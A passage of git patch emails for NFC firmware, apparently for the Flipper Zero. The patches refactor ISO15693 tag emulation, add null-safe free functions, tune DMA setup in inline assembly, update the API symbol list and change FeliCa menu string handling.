signals->nfcv_resp_zero); + signals->nfcv_resp_eof = digital_signal_alloc( + signals->nfcv_resp_zero->edge_cnt + + slowdown * (24 * air->nfcv_resp_pulse->edge_cnt + 3 * air->nfcv_resp_unmod->edge_cnt) + + air->nfcv_resp_unmod->edge_cnt); + ret &= digital_signal_append(signals->nfcv_resp_eof, signals->nfcv_resp_zero); for(size_t i = 0; i < slowdown * 24; i++) { - digital_signal_append(signals->nfcv_resp_eof, air->nfcv_resp_pulse); + ret &= digital_signal_append(signals->nfcv_resp_eof, air->nfcv_resp_pulse); } for(size_t i = 0; i < slowdown * 3; i++) { - digital_signal_append(signals->nfcv_resp_eof, air->nfcv_resp_unmod); + ret &= digital_signal_append(signals->nfcv_resp_eof, air->nfcv_resp_unmod); } /* add extra silence */ - digital_signal_append(signals->nfcv_resp_eof, air->nfcv_resp_unmod); + ret &= digital_signal_append(signals->nfcv_resp_eof, air->nfcv_resp_unmod); } + return ret; } void nfcv_emu_alloc(NfcVData* nfcv_data) { @@ -272,8 +272,14 @@ void nfcv_emu_alloc(NfcVData* nfcv_data) { nfcv_data->emu_air.nfcv_resp_pulse->edge_cnt = 2; } - nfcv_emu_alloc_signals(&nfcv_data->emu_air, &nfcv_data->emu_air.signals_high, 1); - nfcv_emu_alloc_signals(&nfcv_data->emu_air, &nfcv_data->emu_air.signals_low, 4); + bool success = true; + + success &= nfcv_emu_alloc_signals(&nfcv_data->emu_air, &nfcv_data->emu_air.signals_high, 1); + success &= nfcv_emu_alloc_signals(&nfcv_data->emu_air, &nfcv_data->emu_air.signals_low, 4); + + if(!success) { + FURI_LOG_E(TAG, "Failed to allocate signals"); + } digital_sequence_set_signal( nfcv_data->emu_air.nfcv_signal, @@ -310,22 +316,15 @@ void nfcv_emu_alloc(NfcVData* nfcv_data) { } void nfcv_emu_free(NfcVData* nfcv_data) { - if(nfcv_data->emu_air.nfcv_resp_unmod) { - digital_signal_free(nfcv_data->emu_air.nfcv_resp_unmod); - nfcv_data->emu_air.nfcv_resp_unmod = NULL; - } - if(nfcv_data->emu_air.nfcv_resp_pulse) { - digital_signal_free(nfcv_data->emu_air.nfcv_resp_pulse); - nfcv_data->emu_air.nfcv_resp_pulse = NULL; - } - if(nfcv_data->emu_air.nfcv_signal) { - digital_sequence_free(nfcv_data->emu_air.nfcv_signal); - nfcv_data->emu_air.nfcv_signal = NULL; - } - if(nfcv_data->emu_air.reader_signal) { - pulse_reader_free(nfcv_data->emu_air.reader_signal); - nfcv_data->emu_air.reader_signal = NULL; - } + digital_signal_free(nfcv_data->emu_air.nfcv_resp_unmod); + digital_signal_free(nfcv_data->emu_air.nfcv_resp_pulse); + digital_sequence_free(nfcv_data->emu_air.nfcv_signal); + pulse_reader_free(nfcv_data->emu_air.reader_signal); + + nfcv_data->emu_air.nfcv_resp_unmod = NULL; + nfcv_data->emu_air.nfcv_resp_pulse = NULL; + nfcv_data->emu_air.nfcv_signal = NULL; + nfcv_data->emu_air.reader_signal = NULL; nfcv_emu_free_signals(&nfcv_data->emu_air.signals_high); nfcv_emu_free_signals(&nfcv_data->emu_air.signals_low); From 5013692288e9645cebd81e3015faa429ef20d98c Mon Sep 17 00:00:00 2001 From: "g3gg0.de" Date: Fri, 30 Dec 2022 02:16:44 +0100 Subject: [PATCH 036/329] ISO15693: further cleanup --- .../main/nfc/helpers/nfc_custom_event.h | 2 + .../main/nfc/scenes/nfc_scene_nfcv_emulate.c | 22 +++++- lib/nfc/nfc_worker.c | 76 +++++++++---------- lib/nfc/nfc_worker.h | 4 +- lib/nfc/protocols/nfcv.c | 3 + lib/nfc/protocols/nfcv.h | 1 + lib/nfc/protocols/slix.c | 1 + 7 files changed, 62 insertions(+), 47 deletions(-) diff --git a/applications/main/nfc/helpers/nfc_custom_event.h b/applications/main/nfc/helpers/nfc_custom_event.h index 4227a5b14..aa932a3d8 100644 --- a/applications/main/nfc/helpers/nfc_custom_event.h +++ b/applications/main/nfc/helpers/nfc_custom_event.h @@ -12,4 +12,6 @@ enum NfcCustomEvent { NfcCustomEventDictAttackSkip, NfcCustomEventRpcLoad, NfcCustomEventRpcSessionClose, + NfcCustomEventUpdateLog, + NfcCustomEventSaveShadow, }; diff --git a/applications/main/nfc/scenes/nfc_scene_nfcv_emulate.c b/applications/main/nfc/scenes/nfc_scene_nfcv_emulate.c index 53da36679..77d1d420d 100644 --- a/applications/main/nfc/scenes/nfc_scene_nfcv_emulate.c +++ b/applications/main/nfc/scenes/nfc_scene_nfcv_emulate.c @@ -1,6 +1,6 @@ #include "../nfc_i.h" -#define NFC_SCENE_EMULATE_NFCV_LOG_SIZE_MAX (100) +#define NFC_SCENE_EMULATE_NFCV_LOG_SIZE_MAX (200) enum { NfcSceneNfcVEmulateStateWidget, @@ -11,7 +11,17 @@ bool nfc_scene_nfcv_emulate_worker_callback(NfcWorkerEvent event, void* context) UNUSED(event); furi_assert(context); Nfc* nfc = context; - view_dispatcher_send_custom_event(nfc->view_dispatcher, NfcCustomEventWorkerExit); + + switch(event) { + case NfcWorkerEventNfcVCommandExecuted: + view_dispatcher_send_custom_event(nfc->view_dispatcher, NfcCustomEventUpdateLog); + break; + case NfcWorkerEventNfcVContentChanged: + view_dispatcher_send_custom_event(nfc->view_dispatcher, NfcCustomEventSaveShadow); + break; + default: + break; + } return true; } @@ -29,7 +39,6 @@ void nfc_scene_nfcv_emulate_textbox_callback(void* context) { view_dispatcher_send_custom_event(nfc->view_dispatcher, NfcCustomEventViewExit); } -// Add widget with device name or inform that data received static void nfc_scene_nfcv_emulate_widget_config(Nfc* nfc, bool data_received) { FuriHalNfcDevData* data = &nfc->dev->dev_data.nfc_data; Widget* widget = nfc->widget; @@ -91,7 +100,7 @@ bool nfc_scene_nfcv_emulate_on_event(void* context, SceneManagerEvent event) { bool consumed = false; if(event.type == SceneManagerEventTypeCustom) { - if(event.event == NfcCustomEventWorkerExit) { + if(event.event == NfcCustomEventUpdateLog) { // Add data button to widget if data is received for the first time if(!furi_string_size(nfc->text_box_store)) { nfc_scene_nfcv_emulate_widget_config(nfc, true); @@ -111,6 +120,11 @@ bool nfc_scene_nfcv_emulate_on_event(void* context, SceneManagerEvent event) { strcpy(nfcv_data->last_command, ""); } consumed = true; + } else if(event.event == NfcCustomEventSaveShadow) { + if(furi_string_size(nfc->dev->load_path)) { + nfc_device_save_shadow(nfc->dev, furi_string_get_cstr(nfc->dev->load_path)); + } + consumed = true; } else if(event.event == GuiButtonTypeCenter && state == NfcSceneNfcVEmulateStateWidget) { view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewTextBox); scene_manager_set_scene_state( diff --git a/lib/nfc/nfc_worker.c b/lib/nfc/nfc_worker.c index 4e07c9ef2..efd10aab9 100644 --- a/lib/nfc/nfc_worker.c +++ b/lib/nfc/nfc_worker.c @@ -110,7 +110,7 @@ int32_t nfc_worker_task(void* context) { } else if(nfc_worker->state == NfcWorkerStateAnalyzeReader) { nfc_worker_analyze_reader(nfc_worker); } else if(nfc_worker->state == NfcWorkerStateNfcVEmulate) { - nfc_worker_emulate_nfcv(nfc_worker); + nfc_worker_nfcv_emulate(nfc_worker); } else if(nfc_worker->state == NfcWorkerStateNfcVUnlock) { nfc_worker_nfcv_unlock(nfc_worker); } else if(nfc_worker->state == NfcWorkerStateNfcVUnlockAndSave) { @@ -122,13 +122,15 @@ int32_t nfc_worker_task(void* context) { return 0; } -static bool nfc_worker_read_nfcv_content(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* tx_rx) { +static bool nfc_worker_read_nfcv(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* tx_rx) { bool read_success = false; NfcVReader reader = {}; FuriHalNfcDevData* nfc_data = &nfc_worker->dev_data->nfc_data; NfcVData* nfcv_data = &nfc_worker->dev_data->nfcv_data; + furi_hal_nfc_sleep(); + if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) { reader_analyzer_prepare_tx_rx(nfc_worker->reader_analyzer, tx_rx, false); reader_analyzer_start(nfc_worker->reader_analyzer, ReaderAnalyzerModeDebugLog); @@ -148,6 +150,36 @@ static bool nfc_worker_read_nfcv_content(NfcWorker* nfc_worker, FuriHalNfcTxRxCo return read_success; } +void nfc_worker_nfcv_emulate(NfcWorker* nfc_worker) { + FuriHalNfcTxRxContext tx_rx = {}; + FuriHalNfcDevData* nfc_data = &nfc_worker->dev_data->nfc_data; + NfcVData* nfcv_data = &nfc_worker->dev_data->nfcv_data; + + if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) { + reader_analyzer_prepare_tx_rx(nfc_worker->reader_analyzer, &tx_rx, true); + reader_analyzer_start(nfc_worker->reader_analyzer, ReaderAnalyzerModeDebugLog); + } + + nfcv_emu_init(nfc_data, nfcv_data); + while(nfc_worker->state == NfcWorkerStateNfcVEmulate) { + if(nfcv_emu_loop(&tx_rx, nfc_data, nfcv_data, 50)) { + if(nfc_worker->callback) { + nfc_worker->callback(NfcWorkerEventNfcVCommandExecuted, nfc_worker->context); + if(nfcv_data->modified) { + nfc_worker->callback(NfcWorkerEventNfcVContentChanged, nfc_worker->context); + nfcv_data->modified = false; + } + } + } + furi_delay_ms(0); + } + nfcv_emu_deinit(nfcv_data); + + if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) { + reader_analyzer_stop(nfc_worker->reader_analyzer); + } +} + void nfc_worker_nfcv_unlock(NfcWorker* nfc_worker) { furi_assert(nfc_worker); furi_assert(nfc_worker->callback); @@ -508,20 +540,6 @@ static bool nfc_worker_read_nfca(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* t return card_read; } -static bool nfc_worker_read_nfcv(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* tx_rx) { - furi_assert(nfc_worker); - furi_assert(tx_rx); - - bool card_read = false; - furi_hal_nfc_sleep(); - - /* until here the UID field is reversed from the reader IC. - we will read it here again and it will get placed in the right order. */ - card_read = nfc_worker_read_nfcv_content(nfc_worker, tx_rx); - - return card_read; -} - void nfc_worker_read(NfcWorker* nfc_worker) { furi_assert(nfc_worker); furi_assert(nfc_worker->callback); @@ -692,32 +710,6 @@ void nfc_worker_emulate_uid(NfcWorker* nfc_worker) { } } -void nfc_worker_emulate_nfcv(NfcWorker* nfc_worker) { - FuriHalNfcTxRxContext tx_rx = {}; - FuriHalNfcDevData* nfc_data = &nfc_worker->dev_data->nfc_data; - NfcVData* nfcv_data = &nfc_worker->dev_data->nfcv_data; - - if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) { - reader_analyzer_prepare_tx_rx(nfc_worker->reader_analyzer, &tx_rx, true); - reader_analyzer_start(nfc_worker->reader_analyzer, ReaderAnalyzerModeDebugLog); - } - - nfcv_emu_init(nfc_data, nfcv_data); - while(nfc_worker->state == NfcWorkerStateNfcVEmulate) { - if(nfcv_emu_loop(&tx_rx, nfc_data, nfcv_data, 50)) { - if(nfc_worker->callback) { - nfc_worker->callback(NfcWorkerEventSuccess, nfc_worker->context); - } - } - furi_delay_ms(0); - } - nfcv_emu_deinit(nfcv_data); - - if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) { - reader_analyzer_stop(nfc_worker->reader_analyzer); - } -} - void nfc_worker_emulate_apdu(NfcWorker* nfc_worker) { FuriHalNfcTxRxContext tx_rx = {}; FuriHalNfcDevData params = { diff --git a/lib/nfc/nfc_worker.h b/lib/nfc/nfc_worker.h index e707755de..39b6fa592 100644 --- a/lib/nfc/nfc_worker.h +++ b/lib/nfc/nfc_worker.h @@ -75,6 +75,8 @@ typedef enum { NfcWorkerEventMfUltralightPassKey, // NFC worker requesting manual key NfcWorkerEventMfUltralightPwdAuth, // Reader sent auth command NfcWorkerEventNfcVPassKey, // NFC worker requesting manual key + NfcWorkerEventNfcVCommandExecuted, + NfcWorkerEventNfcVContentChanged, } NfcWorkerEvent; typedef bool (*NfcWorkerCallback)(NfcWorkerEvent event, void* context); @@ -94,4 +96,4 @@ void nfc_worker_start( void nfc_worker_stop(NfcWorker* nfc_worker); void nfc_worker_nfcv_unlock(NfcWorker* nfc_worker); -void nfc_worker_emulate_nfcv(NfcWorker* nfc_worker); +void nfc_worker_nfcv_emulate(NfcWorker* nfc_worker); diff --git a/lib/nfc/protocols/nfcv.c b/lib/nfc/protocols/nfcv.c index 69f179b4b..66b14cbd3 100644 --- a/lib/nfc/protocols/nfcv.c +++ b/lib/nfc/protocols/nfcv.c @@ -561,6 +561,7 @@ void nfcv_emu_handle_packet( &nfcv_data->data[nfcv_data->block_size * block], &nfcv_data->frame[ctx->payload_offset + data_pos], data_len); + nfcv_data->modified = true; } nfcv_emu_send( tx_rx, nfcv_data, ctx->response_buffer, 1, ctx->response_flags, ctx->send_time); @@ -719,7 +720,9 @@ bool nfcv_emu_loop( pulse_reader_receive(nfcv_data->emu_air.reader_signal, timeout_ms * 1000); uint32_t timestamp = DWT->CYCCNT; + /* when timed out, reset to SOF state */ if(periods == PULSE_READER_NO_EDGE) { + frame_state = NFCV_FRAME_STATE_SOF1; break; } if(periods == PULSE_READER_LOST_EDGE) { diff --git a/lib/nfc/protocols/nfcv.h b/lib/nfc/protocols/nfcv.h index 9d7a56326..c349b6e95 100644 --- a/lib/nfc/protocols/nfcv.h +++ b/lib/nfc/protocols/nfcv.h @@ -161,6 +161,7 @@ typedef struct { uint16_t block_num; uint8_t block_size; uint8_t data[NFCV_MAX_DUMP_SIZE]; + bool modified; /* specfic variant infos */ NfcVSubtype sub_type; diff --git a/lib/nfc/protocols/slix.c b/lib/nfc/protocols/slix.c index 6c6deacdd..eaa75509f 100644 --- a/lib/nfc/protocols/slix.c +++ b/lib/nfc/protocols/slix.c @@ -236,6 +236,7 @@ bool slix_generic_protocol_filter( break; case SLIX_PASS_PRIVACY: slix->privacy = false; + nfcv_data->modified = true; break; case SLIX_PASS_DESTROY: FURI_LOG_D(TAG, "Pooof! Got destroyed"); From 8b81fb921c436f0d4adc76150b4fc534bc4a517b Mon Sep 17 00:00:00 2001 From: "g3gg0.de" Date: Thu, 29 Dec 2022 22:36:30 +0100 Subject: [PATCH 037/329] digital_signal/pulse_reader: allow parameters for free to be NULL --- lib/digital_signal/digital_signal.c | 8 ++++++++ lib/pulse_reader/pulse_reader.c | 6 ++++++ 2 files changed, 14 insertions(+) diff --git a/lib/digital_signal/digital_signal.c b/lib/digital_signal/digital_signal.c index 12b543273..ae87a09e4 100644 --- a/lib/digital_signal/digital_signal.c +++ b/lib/digital_signal/digital_signal.c @@ -71,6 +71,10 @@ DigitalSignal* digital_signal_alloc(uint32_t max_edges_cnt) { void digital_signal_free(DigitalSignal* signal) { furi_assert(signal); + if(!signal) { + return; + } + free(signal->edge_timings); free(signal->reload_reg_buff); free(signal->internals); @@ -298,6 +302,10 @@ DigitalSequence* digital_sequence_alloc(uint32_t size, const GpioPin* gpio) { void digital_sequence_free(DigitalSequence* sequence) { furi_assert(sequence); + if(!sequence) { + return; + } + free(sequence->signals); free(sequence->sequence); free(sequence); diff --git a/lib/pulse_reader/pulse_reader.c b/lib/pulse_reader/pulse_reader.c index 84ce2ff23..c8d0e3ff7 100644 --- a/lib/pulse_reader/pulse_reader.c +++ b/lib/pulse_reader/pulse_reader.c @@ -117,6 +117,12 @@ void pulse_reader_set_pull(PulseReader* signal, GpioPull pull) { } void pulse_reader_free(PulseReader* signal) { + furi_assert(signal); + + if(!signal) { + return; + } + free(signal->timer_buffer); free(signal->gpio_buffer); free(signal); From 585661218237a8088de058847f5df0fbb145b003 Mon Sep 17 00:00:00 2001 From: "g3gg0.de" Date: Fri, 30 Dec 2022 10:50:55 +0100 Subject: [PATCH 038/329] digital_signal: show unoptimized and optimized code for digital_signal_update_dma() next to each other --- lib/digital_signal/digital_signal.c | 62 ++++++++++++++++++----------- 1 file changed, 38 insertions(+), 24 deletions(-) diff --git a/lib/digital_signal/digital_signal.c b/lib/digital_signal/digital_signal.c index ae87a09e4..1be81f135 100644 --- a/lib/digital_signal/digital_signal.c +++ b/lib/digital_signal/digital_signal.c @@ -342,36 +342,42 @@ void digital_sequence_add(DigitalSequence* sequence, uint8_t signal_index) { sequence->sequence[sequence->sequence_used++] = signal_index; } -#if defined(DIGITAL_SIGNAL_PORTABLE_CODE) +bool digital_signal_optimization = true; -static void digital_signal_update_dma(DigitalSignal* signal) { - LL_DMA_SetMemoryAddress(DMA1, LL_DMA_CHANNEL_1, (uint32_t)signal->internals->gpio_buff); +static void digital_signal_update_dma_c(DigitalSignal* signal) { + /* if transfer was already active, wait till DMA is done and the last timer ticks are running */ + while(LL_DMA_GetDataLength(DMA1, LL_DMA_CHANNEL_2)) { + } + + LL_DMA_DisableChannel(DMA1, LL_DMA_CHANNEL_2); LL_DMA_SetMemoryAddress(DMA1, LL_DMA_CHANNEL_2, (uint32_t)signal->reload_reg_buff); - LL_DMA_SetDataLength(DMA1, LL_DMA_CHANNEL_1, 2); LL_DMA_SetDataLength(DMA1, LL_DMA_CHANNEL_2, signal->internals->reload_reg_entries); - - LL_DMA_EnableChannel(DMA1, LL_DMA_CHANNEL_1); LL_DMA_EnableChannel(DMA1, LL_DMA_CHANNEL_2); + LL_DMA_DisableChannel(DMA1, LL_DMA_CHANNEL_1); + LL_DMA_SetMemoryAddress(DMA1, LL_DMA_CHANNEL_1, (uint32_t)signal->internals->gpio_buff); + LL_DMA_SetDataLength(DMA1, LL_DMA_CHANNEL_1, 2); + LL_DMA_EnableChannel(DMA1, LL_DMA_CHANNEL_1); + + LL_DMA_ClearFlag_TC1(DMA1); + LL_DMA_ClearFlag_TC2(DMA1); } -#else - -static void digital_signal_update_dma(DigitalSignal* signal) { +static void digital_signal_update_dma_asm(DigitalSignal* signal) { volatile uint32_t dma1_data[] = { - /* R6 */ (uint32_t) & (DMA1_Channel1->CCR), - /* R7 */ DMA1_Channel1->CCR & ~DMA_CCR_EN, - /* R8 */ 2, - /* R9 */ (uint32_t) & (signal->internals->gpio->port->BSRR), - /* R10 */ (uint32_t)signal->internals->gpio_buff, - /* R11 */ DMA1_Channel1->CCR | DMA_CCR_EN}; + /* R6 */ (uint32_t) & (DMA1_Channel1->CCR), /* base address of DMA channel 1 */ + /* R7 */ DMA1_Channel1->CCR & ~DMA_CCR_EN, /* CCR value to write first */ + /* R8 */ 2, /* CNDTR to write */ + /* R9 */ (uint32_t) & (signal->internals->gpio->port->BSRR), /* CPAR to write */ + /* R10 */ (uint32_t)signal->internals->gpio_buff, /* CMAR to write */ + /* R11 */ DMA1_Channel1->CCR | DMA_CCR_EN}; /* and CCR again to write after finished */ volatile uint32_t dma2_data[] = { - /* R0 */ (uint32_t) & (DMA1_Channel2->CCR), - /* R1 */ DMA1_Channel2->CCR & ~DMA_CCR_EN, - /* R2 */ (uint32_t)signal->internals->reload_reg_entries, - /* R3 */ (uint32_t) & (TIM2->ARR), - /* R4 */ (uint32_t)signal->reload_reg_buff, - /* R5 */ DMA1_Channel2->CCR | DMA_CCR_EN}; + /* R0 */ (uint32_t) & (DMA1_Channel2->CCR), /* base address of DMA channel 2 */ + /* R1 */ DMA1_Channel2->CCR & ~DMA_CCR_EN, /* CCR value to write first */ + /* R2 */ (uint32_t)signal->internals->reload_reg_entries, /* CNDTR to write */ + /* R3 */ (uint32_t) & (TIM2->ARR), /* CPAR to write */ + /* R4 */ (uint32_t)signal->reload_reg_buff, /* CMAR to write */ + /* R5 */ DMA1_Channel2->CCR | DMA_CCR_EN}; /* and CCR again to write after finished */ /* hurry when setting up next transfer */ asm volatile( @@ -389,10 +395,12 @@ static void digital_signal_update_dma(DigitalSignal* signal) { "CMP r12, #0\n\t" "BNE loop\n\t" + /* no transfers left, the DMA has finished. now quickly re-enable with new settings + the next 4 instructions are the critical part */ "STM r6, {r7-r10}\n\t" /* disable channel and set up new parameters */ - "STR r11, [r6, #0]\n\t" /* enable channel again */ + "STR r11, [r6, #0]\n\t" /* enable channel again by writing CCR */ "STM r0, {r1-r4}\n\t" /* disable channel and set up new parameters */ - "STR r5, [r0, #0]\n\t" /* enable channel again */ + "STR r5, [r0, #0]\n\t" /* enable channel again by writing CCR */ "POP {r0-r12}\n\t" @@ -405,7 +413,13 @@ static void digital_signal_update_dma(DigitalSignal* signal) { LL_DMA_ClearFlag_TC2(DMA1); } -#endif +void digital_signal_update_dma(DigitalSignal* signal) { + if(digital_signal_optimization) { + digital_signal_update_dma_asm(signal); + } else { + digital_signal_update_dma_c(signal); + } +} static bool digital_sequence_send_signal(DigitalSequence* sequence, DigitalSignal* signal) { furi_assert(sequence); From a1f1618648f4f2870184920a36960c7817e3deb4 Mon Sep 17 00:00:00 2001 From: "g3gg0.de" Date: Fri, 30 Dec 2022 12:21:43 +0100 Subject: [PATCH 039/329] pulse_reader: further optimize assembly code --- lib/digital_signal/digital_signal.c | 37 +++++++++++++---------------- 1 file changed, 17 insertions(+), 20 deletions(-) diff --git a/lib/digital_signal/digital_signal.c b/lib/digital_signal/digital_signal.c index 1be81f135..073a69eb8 100644 --- a/lib/digital_signal/digital_signal.c +++ b/lib/digital_signal/digital_signal.c @@ -363,7 +363,17 @@ static void digital_signal_update_dma_c(DigitalSignal* signal) { } static void digital_signal_update_dma_asm(DigitalSignal* signal) { - volatile uint32_t dma1_data[] = { + /* this is an "already-prepared" buffer of all DMA channel configs to write */ + const volatile uint32_t dma_data[] = { + /* DMA channel 2 data */ + /* R0 */ (uint32_t) & (DMA1_Channel2->CCR), /* base address of DMA channel 2 */ + /* R1 */ DMA1_Channel2->CCR & ~DMA_CCR_EN, /* CCR value to write first */ + /* R2 */ (uint32_t)signal->internals->reload_reg_entries, /* CNDTR to write */ + /* R3 */ (uint32_t) & (TIM2->ARR), /* CPAR to write */ + /* R4 */ (uint32_t)signal->reload_reg_buff, /* CMAR to write */ + /* R5 */ DMA1_Channel2->CCR | DMA_CCR_EN, /* and CCR again to write after finished */ + + /* DMA channel 1 data */ /* R6 */ (uint32_t) & (DMA1_Channel1->CCR), /* base address of DMA channel 1 */ /* R7 */ DMA1_Channel1->CCR & ~DMA_CCR_EN, /* CCR value to write first */ /* R8 */ 2, /* CNDTR to write */ @@ -371,31 +381,19 @@ static void digital_signal_update_dma_asm(DigitalSignal* signal) { /* R10 */ (uint32_t)signal->internals->gpio_buff, /* CMAR to write */ /* R11 */ DMA1_Channel1->CCR | DMA_CCR_EN}; /* and CCR again to write after finished */ - volatile uint32_t dma2_data[] = { - /* R0 */ (uint32_t) & (DMA1_Channel2->CCR), /* base address of DMA channel 2 */ - /* R1 */ DMA1_Channel2->CCR & ~DMA_CCR_EN, /* CCR value to write first */ - /* R2 */ (uint32_t)signal->internals->reload_reg_entries, /* CNDTR to write */ - /* R3 */ (uint32_t) & (TIM2->ARR), /* CPAR to write */ - /* R4 */ (uint32_t)signal->reload_reg_buff, /* CMAR to write */ - /* R5 */ DMA1_Channel2->CCR | DMA_CCR_EN}; /* and CCR again to write after finished */ - - /* hurry when setting up next transfer */ + /* now wait for the DMA finishing and instantly reconfigure it with as few instructions as possible */ asm volatile( "\t" - "MOV r6, %[data1]\n\t" - "MOV r7, %[data2]\n\t" - "PUSH {r0-r12}\n\t" - "LDM r7, {r0-r5}\n\t" /* prepare registers with values to write into DMA config */ - "LDM r6, {r6-r11}\n\t" + "LDM %[data], {r0-r11}\n\t" /* prepare registers with values to write into DMA config */ - "loop:\n\t" + "wait_for_dma_finished:\n\t" "LDR r12, [r0, #4]\n\t" /* read DMA_CNDTRx to get remaining transfers */ "CMP r12, #0\n\t" - "BNE loop\n\t" + "BNE wait_for_dma_finished\n\t" - /* no transfers left, the DMA has finished. now quickly re-enable with new settings + /* no transfers left, the DMA has finished. now quickly re-enable with new settings. the next 4 instructions are the critical part */ "STM r6, {r7-r10}\n\t" /* disable channel and set up new parameters */ "STR r11, [r6, #0]\n\t" /* enable channel again by writing CCR */ @@ -406,8 +404,7 @@ static void digital_signal_update_dma_asm(DigitalSignal* signal) { : /* no outputs*/ : /* inputs */ - [data1] "r"(dma1_data), [data2] "r"(dma2_data) - : "r6", "r7"); + [data] "r"(dma_data)); LL_DMA_ClearFlag_TC1(DMA1); LL_DMA_ClearFlag_TC2(DMA1); From 22aa338234f8a707a5a5b8563ed6e44f54d6b478 Mon Sep 17 00:00:00 2001 From: "g3gg0.de" Date: Fri, 30 Dec 2022 14:24:47 +0100 Subject: [PATCH 040/329] updated API --- firmware/targets/f7/api_symbols.csv | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index 8eeeac329..23e64d8ec 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -1,5 +1,5 @@ entry,status,name,type,params -Version,+,11.4,, +Version,+,11.5,, Header,+,applications/services/bt/bt_service/bt.h,, Header,+,applications/services/cli/cli.h,, Header,+,applications/services/cli/cli_vcp.h,, @@ -1998,12 +1998,24 @@ Function,+,nfc_device_save_shadow,_Bool,"NfcDevice*, const char*" Function,+,nfc_device_set_loading_callback,void,"NfcDevice*, NfcLoadingCallback, void*" Function,+,nfc_device_set_name,void,"NfcDevice*, const char*" Function,+,nfc_file_select,_Bool,NfcDevice* +Function,-,nfc_util_bytes2num,uint64_t,"uint8_t*, uint8_t" +Function,-,nfc_util_even_parity32,uint8_t,uint32_t +Function,-,nfc_util_num2bytes,void,"uint64_t, uint8_t, uint8_t*" +Function,-,nfc_util_odd_parity8,uint8_t,uint8_t Function,-,nfca_append_crc16,void,"uint8_t*, uint16_t" Function,-,nfca_emulation_handler,_Bool,"uint8_t*, uint16_t, uint8_t*, uint16_t*" Function,-,nfca_get_crc16,uint16_t,"uint8_t*, uint16_t" Function,-,nfca_signal_alloc,NfcaSignal*, Function,-,nfca_signal_encode,void,"NfcaSignal*, uint8_t*, uint16_t, uint8_t*" Function,-,nfca_signal_free,void,NfcaSignal* +Function,-,nfcv_emu_deinit,void,NfcVData* +Function,-,nfcv_emu_init,void,"FuriHalNfcDevData*, NfcVData*" +Function,-,nfcv_emu_loop,_Bool,"FuriHalNfcTxRxContext*, FuriHalNfcDevData*, NfcVData*, uint32_t" +Function,-,nfcv_emu_send,void,"FuriHalNfcTxRxContext*, NfcVData*, uint8_t*, uint8_t, NfcVSendFlags, uint32_t" +Function,-,nfcv_inventory,ReturnCode,uint8_t* +Function,-,nfcv_read_blocks,ReturnCode,"NfcVReader*, NfcVData*" +Function,-,nfcv_read_card,_Bool,"NfcVReader*, FuriHalNfcDevData*, NfcVData*" +Function,-,nfcv_read_sysinfo,ReturnCode,"FuriHalNfcDevData*, NfcVData*" Function,+,notification_internal_message,void,"NotificationApp*, const NotificationSequence*" Function,+,notification_internal_message_block,void,"NotificationApp*, const NotificationSequence*" Function,+,notification_message,void,"NotificationApp*, const NotificationSequence*" From 7d79379a954e60ec61c51f46b4734bba41641422 Mon Sep 17 00:00:00 2001 From: nullableVoidPtr <30564701+nullableVoidPtr@users.noreply.github.com> Date: Fri, 30 Dec 2022 22:04:06 +0800 Subject: [PATCH 041/329] NFC: FeliCa menu select uses new submenu ownership model --- applications/main/nfc/nfc_i.h | 3 --- .../nfc/scenes/nfc_scene_felica_info_select.c | 19 +++++++++---------- 2 files changed, 9 insertions(+), 13 deletions(-) diff --git a/applications/main/nfc/nfc_i.h b/applications/main/nfc/nfc_i.h index a5a389737..7331b9405 100644 --- a/applications/main/nfc/nfc_i.h +++ b/applications/main/nfc/nfc_i.h @@ -43,15 +43,12 @@ #include ARRAY_DEF(FelicaAreaPath, FelicaArea*, M_PTR_OPLIST) -LIST_DEF(FuriStringStack, FuriString*, FURI_STRING_OPLIST) ARRAY_DEF(MfClassicUserKeys, char*, M_PTR_OPLIST) #define NFC_TEXT_STORE_SIZE 128 #define NFC_APP_FOLDER ANY_PATH("nfc") typedef struct { - FuriStringStack_t strings; - FelicaSystem* selected_system; FelicaAreaPath_t selected_areas; diff --git a/applications/main/nfc/scenes/nfc_scene_felica_info_select.c b/applications/main/nfc/scenes/nfc_scene_felica_info_select.c index 6ed7b61a4..3b7c570d7 100644 --- a/applications/main/nfc/scenes/nfc_scene_felica_info_select.c +++ b/applications/main/nfc/scenes/nfc_scene_felica_info_select.c @@ -13,7 +13,6 @@ void nfc_scene_felica_info_select_on_enter(void* context) { FelicaData* data = &nfc->dev->dev_data.felica_data; FelicaSelectState* state = &nfc->felica_select; - FuriStringStack_init(nfc->felica_select.strings); FelicaAreaPath_init(nfc->felica_select.selected_areas); submenu_add_item(submenu, "[Actions]", 0, nfc_scene_felica_info_select_submenu_callback, nfc); @@ -31,7 +30,7 @@ void nfc_scene_felica_info_select_on_enter(void* context) { i++, nfc_scene_felica_info_select_submenu_callback, nfc); - FuriStringStack_push_back(state->strings, system_name); + furi_string_free(system_name); } } else { FelicaSystem* system = state->selected_system; @@ -50,32 +49,33 @@ void nfc_scene_felica_info_select_on_enter(void* context) { furi_string_cat(header, "Areas"); submenu_set_header(submenu, furi_string_get_cstr(header)); - FuriStringStack_push_back(state->strings, header); + furi_string_free(header); FelicaNodeList_it_t it; for(FelicaNodeList_it(it, area->nodes); !FelicaNodeList_end_p(it); FelicaNodeList_next(it)) { FelicaNode* node = *FelicaNodeList_ref(it); + FuriString* node_name = furi_string_alloc(); if(node->type == FelicaNodeTypeArea) { - FuriString* area_name = furi_string_alloc_printf("Area %d", node->area->number); + furi_string_printf(node_name, "Area %d", node->area->number); submenu_add_item( submenu, - furi_string_get_cstr(area_name), + furi_string_get_cstr(node_name), i++, nfc_scene_felica_info_select_submenu_callback, nfc); - FuriStringStack_push_back(state->strings, area_name); } else { uint16_t service_code = node->service->number << 6; - FuriString* service_name = furi_string_alloc_printf("Service %04X", service_code); + 